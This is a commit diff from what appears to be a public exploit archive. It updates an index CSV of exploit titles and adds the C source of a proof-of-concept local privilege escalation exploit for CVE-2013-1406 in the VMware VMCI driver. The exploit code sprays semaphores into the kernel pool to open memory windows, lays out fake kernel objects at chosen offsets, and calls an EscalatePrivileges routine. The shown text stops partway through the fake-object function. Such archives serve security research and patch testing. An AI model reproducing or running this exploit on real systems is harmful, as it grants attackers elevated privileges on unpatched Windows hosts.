DB: 2016-08-08
2 new exploits VMWare OVF Tools - Format String (1) VMware OVF Tools - Format String (1) VMWare OVF Tools - Format String (2) VMware OVF Tools - Format String (2) VMWare - Setuid vmware-mount Unsafe popen(3) VMware - Setuid vmware-mount Unsafe popen(3) Drupal Module Coder < 7.x-1.3 / 7.x-2.6 - Remote Code Execution Exploit (SA-CONTRIB-2016-039) VMware Virtual Machine Communication Interface (VMCI) vmci.sys - Proof of Concept VMWare - Setuid vmware-mount Popen lsb_release Privilege Escalation (VMSA-2013-0010) VMware - Setuid vmware-mount Popen lsb_release Privilege Escalation (VMSA-2013-0010) ntop 2.3 <= 2.5 - Multiple Vulnerabilities ntop/nbox 2.3 <= 2.5 - Multiple Vulnerabilities NUUO NVRmini 2 3.0.8 - ShellShock Remote Code Execution NUUO NVRmini 2 3.0.8 - (ShellShock) Remote Code Execution
This commit is contained in:
parent
e161127711
commit
dac3d3dad6
3 changed files with 509 additions and 6 deletions
14
files.csv
14
files.csv
|
@ -21617,7 +21617,7 @@ id,file,description,date,author,platform,type,port
|
||||||
24441,platforms/hardware/webapps/24441.txt,"Netgear SPH200D - Multiple Vulnerabilities",2013-01-31,m-1-k-3,hardware,webapps,0
|
24441,platforms/hardware/webapps/24441.txt,"Netgear SPH200D - Multiple Vulnerabilities",2013-01-31,m-1-k-3,hardware,webapps,0
|
||||||
24508,platforms/php/webapps/24508.txt,"Scripts Genie Gallery Personals (gallery.php L param) - SQL Injection",2013-02-17,3spi0n,php,webapps,0
|
24508,platforms/php/webapps/24508.txt,"Scripts Genie Gallery Personals (gallery.php L param) - SQL Injection",2013-02-17,3spi0n,php,webapps,0
|
||||||
24433,platforms/php/webapps/24433.txt,"php weby directory software 1.2 - Multiple Vulnerabilities",2013-01-28,AkaStep,php,webapps,0
|
24433,platforms/php/webapps/24433.txt,"php weby directory software 1.2 - Multiple Vulnerabilities",2013-01-28,AkaStep,php,webapps,0
|
||||||
24460,platforms/windows/remote/24460.rb,"VMWare OVF Tools - Format String (1)",2013-02-06,Metasploit,windows,remote,0
|
24460,platforms/windows/remote/24460.rb,"VMware OVF Tools - Format String (1)",2013-02-06,Metasploit,windows,remote,0
|
||||||
24434,platforms/multiple/remote/24434.rb,"Ruby on Rails JSON Processor YAML Deserialization Code Execution",2013-01-29,Metasploit,multiple,remote,0
|
24434,platforms/multiple/remote/24434.rb,"Ruby on Rails JSON Processor YAML Deserialization Code Execution",2013-01-29,Metasploit,multiple,remote,0
|
||||||
24435,platforms/hardware/webapps/24435.txt,"Fortinet FortiMail 400 IBE - Multiple Vulnerabilities",2013-01-29,Vulnerability-Lab,hardware,webapps,0
|
24435,platforms/hardware/webapps/24435.txt,"Fortinet FortiMail 400 IBE - Multiple Vulnerabilities",2013-01-29,Vulnerability-Lab,hardware,webapps,0
|
||||||
24436,platforms/php/webapps/24436.txt,"Kohana Framework 2.3.3 - Directory Traversal",2013-01-29,Vulnerability-Lab,php,webapps,0
|
24436,platforms/php/webapps/24436.txt,"Kohana Framework 2.3.3 - Directory Traversal",2013-01-29,Vulnerability-Lab,php,webapps,0
|
||||||
|
@ -21640,7 +21640,7 @@ id,file,description,date,author,platform,type,port
|
||||||
24457,platforms/php/webapps/24457.txt,"Glossword 1.8.3 - SQL Injection",2013-02-05,AkaStep,php,webapps,0
|
24457,platforms/php/webapps/24457.txt,"Glossword 1.8.3 - SQL Injection",2013-02-05,AkaStep,php,webapps,0
|
||||||
24458,platforms/linux/local/24458.txt,"Oracle Automated Service Manager 1.3 - Installation Local Privilege Escalation",2013-02-05,"Larry W. Cashdollar",linux,local,0
|
24458,platforms/linux/local/24458.txt,"Oracle Automated Service Manager 1.3 - Installation Local Privilege Escalation",2013-02-05,"Larry W. Cashdollar",linux,local,0
|
||||||
24459,platforms/linux/local/24459.sh,"Linux Kernel 2.6.32-5 (Debian 6.0.5) - /dev/ptmx Key Stroke Timing Local Disclosure",2013-02-05,vladz,linux,local,0
|
24459,platforms/linux/local/24459.sh,"Linux Kernel 2.6.32-5 (Debian 6.0.5) - /dev/ptmx Key Stroke Timing Local Disclosure",2013-02-05,vladz,linux,local,0
|
||||||
24461,platforms/windows/remote/24461.rb,"VMWare OVF Tools - Format String (2)",2013-02-12,Metasploit,windows,remote,0
|
24461,platforms/windows/remote/24461.rb,"VMware OVF Tools - Format String (2)",2013-02-12,Metasploit,windows,remote,0
|
||||||
24462,platforms/php/webapps/24462.txt,"Hiverr 2.2 - Multiple Vulnerabilities",2013-02-06,xStarCode,php,webapps,0
|
24462,platforms/php/webapps/24462.txt,"Hiverr 2.2 - Multiple Vulnerabilities",2013-02-06,xStarCode,php,webapps,0
|
||||||
24463,platforms/windows/dos/24463.txt,"Cool PDF Reader 3.0.2.256 - Buffer Overflow",2013-02-07,"Chris Gabriel",windows,dos,0
|
24463,platforms/windows/dos/24463.txt,"Cool PDF Reader 3.0.2.256 - Buffer Overflow",2013-02-07,"Chris Gabriel",windows,dos,0
|
||||||
24464,platforms/hardware/webapps/24464.txt,"Netgear DGN1000B - Multiple Vulnerabilities",2013-02-07,m-1-k-3,hardware,webapps,0
|
24464,platforms/hardware/webapps/24464.txt,"Netgear DGN1000B - Multiple Vulnerabilities",2013-02-07,m-1-k-3,hardware,webapps,0
|
||||||
|
@ -25037,7 +25037,7 @@ id,file,description,date,author,platform,type,port
|
||||||
27996,platforms/php/webapps/27996.txt,"Open Business Management 1.0.3 pl1 user_index.php tf_lastname Parameter XSS",2006-06-07,r0t,php,webapps,0
|
27996,platforms/php/webapps/27996.txt,"Open Business Management 1.0.3 pl1 user_index.php tf_lastname Parameter XSS",2006-06-07,r0t,php,webapps,0
|
||||||
27997,platforms/php/webapps/27997.txt,"Open Business Management 1.0.3 pl1 list_index.php Multiple Parameter XSS",2006-06-07,r0t,php,webapps,0
|
27997,platforms/php/webapps/27997.txt,"Open Business Management 1.0.3 pl1 list_index.php Multiple Parameter XSS",2006-06-07,r0t,php,webapps,0
|
||||||
28394,platforms/php/webapps/28394.pl,"FusionPHP Fusion News 3.7 Index.php Remote File Inclusion",2006-08-16,O.U.T.L.A.W,php,webapps,0
|
28394,platforms/php/webapps/28394.pl,"FusionPHP Fusion News 3.7 Index.php Remote File Inclusion",2006-08-16,O.U.T.L.A.W,php,webapps,0
|
||||||
27938,platforms/linux/local/27938.rb,"VMWare - Setuid vmware-mount Unsafe popen(3)",2013-08-29,Metasploit,linux,local,0
|
27938,platforms/linux/local/27938.rb,"VMware - Setuid vmware-mount Unsafe popen(3)",2013-08-29,Metasploit,linux,local,0
|
||||||
27939,platforms/windows/remote/27939.rb,"HP LoadRunner - lrFileIOService ActiveX Remote Code Execution",2013-08-29,Metasploit,windows,remote,0
|
27939,platforms/windows/remote/27939.rb,"HP LoadRunner - lrFileIOService ActiveX Remote Code Execution",2013-08-29,Metasploit,windows,remote,0
|
||||||
27940,platforms/windows/remote/27940.rb,"Firefox XMLSerializer Use After Free",2013-08-29,Metasploit,windows,remote,0
|
27940,platforms/windows/remote/27940.rb,"Firefox XMLSerializer Use After Free",2013-08-29,Metasploit,windows,remote,0
|
||||||
27941,platforms/php/remote/27941.rb,"SPIP connect Parameter PHP Injection",2013-08-29,Metasploit,php,remote,0
|
27941,platforms/php/remote/27941.rb,"SPIP connect Parameter PHP Injection",2013-08-29,Metasploit,php,remote,0
|
||||||
|
@ -36305,6 +36305,7 @@ id,file,description,date,author,platform,type,port
|
||||||
40140,platforms/php/webapps/40140.txt,"TeamPass Passwords Management System 2.1.26 - Arbitrary File Download",2016-07-21,"Hasan Emre Ozer",php,webapps,80
|
40140,platforms/php/webapps/40140.txt,"TeamPass Passwords Management System 2.1.26 - Arbitrary File Download",2016-07-21,"Hasan Emre Ozer",php,webapps,80
|
||||||
40141,platforms/bsd/local/40141.c,"mail.local(8) (NetBSD) - Local Root Exploit (NetBSD-SA2016-006)",2016-07-21,akat1,bsd,local,0
|
40141,platforms/bsd/local/40141.c,"mail.local(8) (NetBSD) - Local Root Exploit (NetBSD-SA2016-006)",2016-07-21,akat1,bsd,local,0
|
||||||
40142,platforms/php/remote/40142.php,"Apache 2.4.7 + PHP 7.0.2 - openssl_seal() Uninitialized Memory Code Execution",2016-02-01,akat1,php,remote,0
|
40142,platforms/php/remote/40142.php,"Apache 2.4.7 + PHP 7.0.2 - openssl_seal() Uninitialized Memory Code Execution",2016-02-01,akat1,php,remote,0
|
||||||
|
40144,platforms/php/remote/40144.php,"Drupal Module Coder < 7.x-1.3 / 7.x-2.6 - Remote Code Execution Exploit (SA-CONTRIB-2016-039)",2016-07-23,Raz0r,php,remote,0
|
||||||
40146,platforms/linux/remote/40146.rb,"Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Remote Command Execution (Metasploit)",2016-07-25,xort,linux,remote,8000
|
40146,platforms/linux/remote/40146.rb,"Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Remote Command Execution (Metasploit)",2016-07-25,xort,linux,remote,8000
|
||||||
40147,platforms/linux/remote/40147.rb,"Barracuda Spam & Virus Firewall 5.1.3.007 - Remote Command Execution (Metasploit)",2016-07-25,xort,linux,remote,8000
|
40147,platforms/linux/remote/40147.rb,"Barracuda Spam & Virus Firewall 5.1.3.007 - Remote Command Execution (Metasploit)",2016-07-25,xort,linux,remote,8000
|
||||||
40148,platforms/windows/local/40148.py,"MediaCoder 0.8.43.5852 - .m3u SEH Exploit",2016-07-25,"Karn Ganeshen",windows,local,0
|
40148,platforms/windows/local/40148.py,"MediaCoder 0.8.43.5852 - .m3u SEH Exploit",2016-07-25,"Karn Ganeshen",windows,local,0
|
||||||
|
@ -36322,10 +36323,11 @@ id,file,description,date,author,platform,type,port
|
||||||
40161,platforms/java/webapps/40161.txt,"Micro Focus Filr 2 2.0.0.421_ Filr 1.2 1.2.0.846 - Multiple Vulnerabilities",2016-07-25,"SEC Consult",java,webapps,9443
|
40161,platforms/java/webapps/40161.txt,"Micro Focus Filr 2 2.0.0.421_ Filr 1.2 1.2.0.846 - Multiple Vulnerabilities",2016-07-25,"SEC Consult",java,webapps,9443
|
||||||
40162,platforms/linux/remote/40162.rb,"Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Post Auth Remote Root Exploit (Metasploit)",2016-07-26,xort,linux,remote,8000
|
40162,platforms/linux/remote/40162.rb,"Barracuda Web App Firewall 8.0.1.007/Load Balancer 5.4.0.004 - Post Auth Remote Root Exploit (Metasploit)",2016-07-26,xort,linux,remote,8000
|
||||||
40163,platforms/php/webapps/40163.txt,"PHP File Vault 0.9 - Directory Traversal",2016-07-26,N_A,php,webapps,80
|
40163,platforms/php/webapps/40163.txt,"PHP File Vault 0.9 - Directory Traversal",2016-07-26,N_A,php,webapps,80
|
||||||
|
40164,platforms/multiple/local/40164.c,"VMware Virtual Machine Communication Interface (VMCI) vmci.sys - Proof of Concept",2013-03-06,"Artem Shishkin",multiple,local,0
|
||||||
40165,platforms/cgi/webapps/40165.txt,"Iris ID IrisAccess ICU 7000-2 - Multiple Vulnerabilities",2016-07-26,LiquidWorm,cgi,webapps,80
|
40165,platforms/cgi/webapps/40165.txt,"Iris ID IrisAccess ICU 7000-2 - Multiple Vulnerabilities",2016-07-26,LiquidWorm,cgi,webapps,80
|
||||||
40166,platforms/cgi/webapps/40166.txt,"Iris ID IrisAccess ICU 7000-2 - Remote Root Command Execution",2016-07-26,LiquidWorm,cgi,webapps,80
|
40166,platforms/cgi/webapps/40166.txt,"Iris ID IrisAccess ICU 7000-2 - Remote Root Command Execution",2016-07-26,LiquidWorm,cgi,webapps,80
|
||||||
40167,platforms/linux/remote/40167.txt,"Iris ID IrisAccess iCAM4000/iCAM7000 - Hardcoded Credentials Remote Shell Access",2016-07-26,LiquidWorm,linux,remote,23
|
40167,platforms/linux/remote/40167.txt,"Iris ID IrisAccess iCAM4000/iCAM7000 - Hardcoded Credentials Remote Shell Access",2016-07-26,LiquidWorm,linux,remote,23
|
||||||
40169,platforms/linux/local/40169.txt,"VMWare - Setuid vmware-mount Popen lsb_release Privilege Escalation (VMSA-2013-0010)",2013-08-22,"Tavis Ormandy",linux,local,0
|
40169,platforms/linux/local/40169.txt,"VMware - Setuid vmware-mount Popen lsb_release Privilege Escalation (VMSA-2013-0010)",2013-08-22,"Tavis Ormandy",linux,local,0
|
||||||
40170,platforms/python/remote/40170.rb,"Centreon 2.5.3 - Web Useralias Command Execution (Metasploit)",2016-07-27,Metasploit,python,remote,80
|
40170,platforms/python/remote/40170.rb,"Centreon 2.5.3 - Web Useralias Command Execution (Metasploit)",2016-07-27,Metasploit,python,remote,80
|
||||||
40172,platforms/windows/local/40172.py,"VUPlayer 2.49 - (.pls) Stack Buffer Overflow (DEP Bypass)",2016-07-29,vportal,windows,local,0
|
40172,platforms/windows/local/40172.py,"VUPlayer 2.49 - (.pls) Stack Buffer Overflow (DEP Bypass)",2016-07-29,vportal,windows,local,0
|
||||||
40173,platforms/windows/local/40173.txt,"mySCADAPro 7 - Local Privilege Escalation",2016-07-29,"Karn Ganeshen",windows,local,0
|
40173,platforms/windows/local/40173.txt,"mySCADAPro 7 - Local Privilege Escalation",2016-07-29,"Karn Ganeshen",windows,local,0
|
||||||
|
@ -36349,7 +36351,7 @@ id,file,description,date,author,platform,type,port
|
||||||
40198,platforms/multiple/dos/40198.txt,"Wireshark 2.0.0 to 2.0.4_ 1.12.0 to 1.12.12 - WSP Dissector Denial of Service",2016-08-03,"Chris Benedict",multiple,dos,0
|
40198,platforms/multiple/dos/40198.txt,"Wireshark 2.0.0 to 2.0.4_ 1.12.0 to 1.12.12 - WSP Dissector Denial of Service",2016-08-03,"Chris Benedict",multiple,dos,0
|
||||||
40199,platforms/multiple/dos/40199.txt,"Wireshark 2.0.0 to 2.0.4_ 1.12.0 to 1.12.12 - RLC Dissector Denial of Service",2016-08-03,"Antti Levomäki",multiple,dos,0
|
40199,platforms/multiple/dos/40199.txt,"Wireshark 2.0.0 to 2.0.4_ 1.12.0 to 1.12.12 - RLC Dissector Denial of Service",2016-08-03,"Antti Levomäki",multiple,dos,0
|
||||||
40200,platforms/hardware/remote/40200.txt,"NUUO NVRmini2 / NVRsolo / Crystal Devices and NETGEAR ReadyNAS Surveillance Application - Multiple Vulnerabilities",2016-08-05,"Pedro Ribeiro",hardware,remote,0
|
40200,platforms/hardware/remote/40200.txt,"NUUO NVRmini2 / NVRsolo / Crystal Devices and NETGEAR ReadyNAS Surveillance Application - Multiple Vulnerabilities",2016-08-05,"Pedro Ribeiro",hardware,remote,0
|
||||||
40201,platforms/linux/remote/40201.txt,"ntop 2.3 <= 2.5 - Multiple Vulnerabilities",2016-08-05,"Javier Marcos",linux,remote,0
|
40201,platforms/linux/remote/40201.txt,"ntop/nbox 2.3 <= 2.5 - Multiple Vulnerabilities",2016-08-05,"Javier Marcos",linux,remote,0
|
||||||
40202,platforms/php/webapps/40202.txt,"Subrion CMS 4.0.5 - SQL Injection",2016-08-05,Vulnerability-Lab,php,webapps,80
|
40202,platforms/php/webapps/40202.txt,"Subrion CMS 4.0.5 - SQL Injection",2016-08-05,Vulnerability-Lab,php,webapps,80
|
||||||
40203,platforms/linux/local/40203.py,"zFTP Client 20061220 - (Connection Name) Local Buffer Overflow",2016-08-05,"Juan Sacco",linux,local,0
|
40203,platforms/linux/local/40203.py,"zFTP Client 20061220 - (Connection Name) Local Buffer Overflow",2016-08-05,"Juan Sacco",linux,local,0
|
||||||
40204,platforms/php/webapps/40204.txt,"PHP Power Browse 1.2 - Directory Traversal",2016-08-05,"Manuel Mancera",php,webapps,80
|
40204,platforms/php/webapps/40204.txt,"PHP Power Browse 1.2 - Directory Traversal",2016-08-05,"Manuel Mancera",php,webapps,80
|
||||||
|
@ -36361,6 +36363,6 @@ id,file,description,date,author,platform,type,port
|
||||||
40210,platforms/php/webapps/40210.html,"NUUO NVRmini 2 3.0.8 - (Add Admin) CSRF",2016-08-06,LiquidWorm,php,webapps,80
|
40210,platforms/php/webapps/40210.html,"NUUO NVRmini 2 3.0.8 - (Add Admin) CSRF",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
40211,platforms/php/webapps/40211.txt,"NUUO NVRmini 2 3.0.8 - Local File Disclosure",2016-08-06,LiquidWorm,php,webapps,80
|
40211,platforms/php/webapps/40211.txt,"NUUO NVRmini 2 3.0.8 - Local File Disclosure",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
40212,platforms/php/webapps/40212.txt,"NUUO NVRmini 2 3.0.8 - Multiple OS Command Injection",2016-08-06,LiquidWorm,php,webapps,80
|
40212,platforms/php/webapps/40212.txt,"NUUO NVRmini 2 3.0.8 - Multiple OS Command Injection",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
40213,platforms/cgi/webapps/40213.txt,"NUUO NVRmini 2 3.0.8 - ShellShock Remote Code Execution",2016-08-06,LiquidWorm,cgi,webapps,80
|
40213,platforms/cgi/webapps/40213.txt,"NUUO NVRmini 2 3.0.8 - (ShellShock) Remote Code Execution",2016-08-06,LiquidWorm,cgi,webapps,80
|
||||||
40214,platforms/php/webapps/40214.txt,"NUUO NVRmini 2 3.0.8 - Arbitrary File Deletion",2016-08-06,LiquidWorm,php,webapps,80
|
40214,platforms/php/webapps/40214.txt,"NUUO NVRmini 2 3.0.8 - Arbitrary File Deletion",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
40215,platforms/php/webapps/40215.txt,"NUUO NVRmini 2 3.0.8 - (strong_user.php) Backdoor Remote Shell Access",2016-08-06,LiquidWorm,php,webapps,80
|
40215,platforms/php/webapps/40215.txt,"NUUO NVRmini 2 3.0.8 - (strong_user.php) Backdoor Remote Shell Access",2016-08-06,LiquidWorm,php,webapps,80
|
||||||
|
|
Can't render this file because it is too large.
|
472
platforms/multiple/local/40164.c
Executable file
472
platforms/multiple/local/40164.c
Executable file
|
@ -0,0 +1,472 @@
|
||||||
|
/*
|
||||||
|
CVE-2013-1406 exploitation PoC
|
||||||
|
by Artem Shishkin,
|
||||||
|
Positive Research,
|
||||||
|
Positive Technologies,
|
||||||
|
02-2013
|
||||||
|
*/
|
||||||
|
|
||||||
|
void __stdcall FireShell(DWORD dwSomeParam)
|
||||||
|
{
|
||||||
|
EscalatePrivileges(hProcessToElevate);
|
||||||
|
// Equate the stack and quit the cycle
|
||||||
|
#ifndef _AMD64_
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
pop ebx
|
||||||
|
pop edi
|
||||||
|
push 0xFFFFFFF8
|
||||||
|
push 0xA010043
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
HANDLE LookupObjectHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, PVOID pObjectAddr, DWORD dwProcessID = 0)
|
||||||
|
{
|
||||||
|
HANDLE hResult = 0;
|
||||||
|
DWORD dwLookupProcessID = dwProcessID;
|
||||||
|
|
||||||
|
if (pHandleTable == NULL)
|
||||||
|
{
|
||||||
|
printf("Ain't funny\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwLookupProcessID == 0)
|
||||||
|
{
|
||||||
|
dwLookupProcessID = GetCurrentProcessId();
|
||||||
|
}
|
||||||
|
|
||||||
|
for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
|
||||||
|
{
|
||||||
|
if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].Object == pObjectAddr))
|
||||||
|
{
|
||||||
|
hResult = pHandleTable->Handles[i].HandleValue;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
PVOID LookupObjectAddress(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
|
||||||
|
{
|
||||||
|
PVOID pResult = 0;
|
||||||
|
DWORD dwLookupProcessID = dwProcessID;
|
||||||
|
|
||||||
|
if (pHandleTable == NULL)
|
||||||
|
{
|
||||||
|
printf("Ain't funny\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwLookupProcessID == 0)
|
||||||
|
{
|
||||||
|
dwLookupProcessID = GetCurrentProcessId();
|
||||||
|
}
|
||||||
|
|
||||||
|
for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
|
||||||
|
{
|
||||||
|
if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
|
||||||
|
{
|
||||||
|
pResult = (HANDLE)pHandleTable->Handles[i].Object;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return pResult;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CloseTableHandle(PSYSTEM_HANDLE_INFORMATION_EX pHandleTable, HANDLE hObject, DWORD dwProcessID = 0)
|
||||||
|
{
|
||||||
|
DWORD dwLookupProcessID = dwProcessID;
|
||||||
|
|
||||||
|
if (pHandleTable == NULL)
|
||||||
|
{
|
||||||
|
printf("Ain't funny\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dwLookupProcessID == 0)
|
||||||
|
{
|
||||||
|
dwLookupProcessID = GetCurrentProcessId();
|
||||||
|
}
|
||||||
|
|
||||||
|
for (unsigned int i = 0; i < pHandleTable->NumberOfHandles; i++)
|
||||||
|
{
|
||||||
|
if ((pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwLookupProcessID) && (pHandleTable->Handles[i].HandleValue == hObject))
|
||||||
|
{
|
||||||
|
pHandleTable->Handles[i].Object = NULL;
|
||||||
|
pHandleTable->Handles[i].HandleValue = NULL;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
void PoolSpray()
|
||||||
|
{
|
||||||
|
// Init used native API function
|
||||||
|
lpNtQuerySystemInformation NtQuerySystemInformation = (lpNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQuerySystemInformation");
|
||||||
|
if (NtQuerySystemInformation == NULL)
|
||||||
|
{
|
||||||
|
printf("Such a fail...\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Determine object size
|
||||||
|
// xp:
|
||||||
|
//const DWORD_PTR dwSemaphoreSize = 0x38;
|
||||||
|
// 7:
|
||||||
|
//const DWORD_PTR dwSemaphoreSize = 0x48;
|
||||||
|
|
||||||
|
DWORD_PTR dwSemaphoreSize = 0;
|
||||||
|
|
||||||
|
if (LOBYTE(GetVersion()) == 5)
|
||||||
|
{
|
||||||
|
dwSemaphoreSize = 0x38;
|
||||||
|
}
|
||||||
|
else if (LOBYTE(GetVersion()) == 6)
|
||||||
|
{
|
||||||
|
dwSemaphoreSize = 0x48;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned int cycleCount = 0;
|
||||||
|
while (cycleCount < 50000)
|
||||||
|
{
|
||||||
|
HANDLE hTemp = CreateSemaphore(NULL, 0, 3, NULL);
|
||||||
|
if (hTemp == NULL)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
++cycleCount;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("\t[+] Spawned lots of semaphores\n");
|
||||||
|
|
||||||
|
printf("\t[.] Initing pool windows\n");
|
||||||
|
Sleep(2000);
|
||||||
|
|
||||||
|
DWORD dwNeeded = 4096;
|
||||||
|
NTSTATUS status = 0xFFFFFFFF;
|
||||||
|
PVOID pBuf = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE);
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
status = NtQuerySystemInformation(SystemExtendedHandleInformation, pBuf, dwNeeded, NULL);
|
||||||
|
if (status != STATUS_SUCCESS)
|
||||||
|
{
|
||||||
|
dwNeeded *= 2;
|
||||||
|
VirtualFree(pBuf, 0, MEM_RELEASE);
|
||||||
|
pBuf = VirtualAlloc(NULL, dwNeeded, MEM_COMMIT, PAGE_READWRITE);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
HANDLE hHandlesToClose[0x30] = {0};
|
||||||
|
DWORD dwCurPID = GetCurrentProcessId();
|
||||||
|
PSYSTEM_HANDLE_INFORMATION_EX pHandleTable = (PSYSTEM_HANDLE_INFORMATION_EX)pBuf;
|
||||||
|
|
||||||
|
for (ULONG i = 0; i < pHandleTable->NumberOfHandles; i++)
|
||||||
|
{
|
||||||
|
if (pHandleTable->Handles[i].UniqueProcessId == (HANDLE)dwCurPID)
|
||||||
|
{
|
||||||
|
DWORD_PTR dwTestObjAddr = (DWORD_PTR)pHandleTable->Handles[i].Object;
|
||||||
|
DWORD_PTR dwTestHandleVal = (DWORD_PTR)pHandleTable->Handles[i].HandleValue;
|
||||||
|
DWORD_PTR dwWindowAddress = 0;
|
||||||
|
bool bPoolWindowFound = false;
|
||||||
|
|
||||||
|
UINT iObjectsNeeded = 0;
|
||||||
|
// Needed window size is vmci packet pool chunk size (0x218) divided by
|
||||||
|
// Semaphore pool chunk size (dwSemaphoreSize)
|
||||||
|
iObjectsNeeded = (0x218 / dwSemaphoreSize) + ((0x218 % dwSemaphoreSize != 0) ? 1 : 0);
|
||||||
|
|
||||||
|
if (
|
||||||
|
// Not on a page boundary
|
||||||
|
((dwTestObjAddr & 0xFFF) != 0)
|
||||||
|
&&
|
||||||
|
// Doesn't cross page boundary
|
||||||
|
(((dwTestObjAddr + 0x300) & 0xF000) == (dwTestObjAddr & 0xF000))
|
||||||
|
)
|
||||||
|
{
|
||||||
|
// Check previous object for being our semaphore
|
||||||
|
DWORD_PTR dwPrevObject = dwTestObjAddr - dwSemaphoreSize;
|
||||||
|
if (LookupObjectHandle(pHandleTable, (PVOID)dwPrevObject) == NULL)
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (unsigned int j = 1; j < iObjectsNeeded; j++)
|
||||||
|
{
|
||||||
|
DWORD_PTR dwNextTestAddr = dwTestObjAddr + (j * dwSemaphoreSize);
|
||||||
|
HANDLE hLookedUp = LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr);
|
||||||
|
|
||||||
|
//printf("dwTestObjPtr = %08X, dwTestObjHandle = %08X\n", dwTestObjAddr, dwTestHandleVal);
|
||||||
|
//printf("\tdwTestNeighbour = %08X\n", dwNextTestAddr);
|
||||||
|
//printf("\tLooked up handle = %08X\n", hLookedUp);
|
||||||
|
|
||||||
|
if (hLookedUp != NULL)
|
||||||
|
{
|
||||||
|
hHandlesToClose[j] = hLookedUp;
|
||||||
|
|
||||||
|
if (j == iObjectsNeeded - 1)
|
||||||
|
{
|
||||||
|
// Now test the following object
|
||||||
|
dwNextTestAddr = dwTestObjAddr + ((j + 1) * dwSemaphoreSize);
|
||||||
|
if (LookupObjectHandle(pHandleTable, (PVOID)dwNextTestAddr) != NULL)
|
||||||
|
{
|
||||||
|
hHandlesToClose[0] = (HANDLE)dwTestHandleVal;
|
||||||
|
bPoolWindowFound = true;
|
||||||
|
|
||||||
|
dwWindowAddress = dwTestObjAddr;
|
||||||
|
|
||||||
|
// Close handles to create a memory window
|
||||||
|
for (int k = 0; k < iObjectsNeeded; k++)
|
||||||
|
{
|
||||||
|
if (hHandlesToClose[k] != NULL)
|
||||||
|
{
|
||||||
|
CloseHandle(hHandlesToClose[k]);
|
||||||
|
CloseTableHandle(pHandleTable, hHandlesToClose[k]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
memset(hHandlesToClose, 0, sizeof(hHandlesToClose));
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (bPoolWindowFound)
|
||||||
|
{
|
||||||
|
printf("\t[+] Window found at %08X!\n", dwWindowAddress);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(pBuf, 0, MEM_RELEASE);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
void InitFakeBuf(PVOID pBuf, DWORD dwSize)
|
||||||
|
{
|
||||||
|
if (pBuf != NULL)
|
||||||
|
{
|
||||||
|
RtlFillMemory(pBuf, dwSize, 0x11);
|
||||||
|
}
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
void PlaceFakeObjects(PVOID pBuf, DWORD dwSize, DWORD dwStep)
|
||||||
|
{
|
||||||
|
/*
|
||||||
|
Previous chunk size will be always 0x43 and the pool index will be 0, so the last bytes will be 0x0043
|
||||||
|
So, for every 0xXXXX0043 address we must suffice the following conditions:
|
||||||
|
|
||||||
|
lea edx, [eax+38h]
|
||||||
|
lock xadd [edx], ecx
|
||||||
|
cmp ecx, 1
|
||||||
|
|
||||||
|
Some sort of lock at [addr + 38] must be equal to 1. And
|
||||||
|
|
||||||
|
call dword ptr [eax+0ACh]
|
||||||
|
|
||||||
|
The call site is located at [addr + 0xAC]
|
||||||
|
|
||||||
|
Also fake the object to be dereferenced at [addr + 0x100]
|
||||||
|
*/
|
||||||
|
|
||||||
|
if (pBuf != NULL)
|
||||||
|
{
|
||||||
|
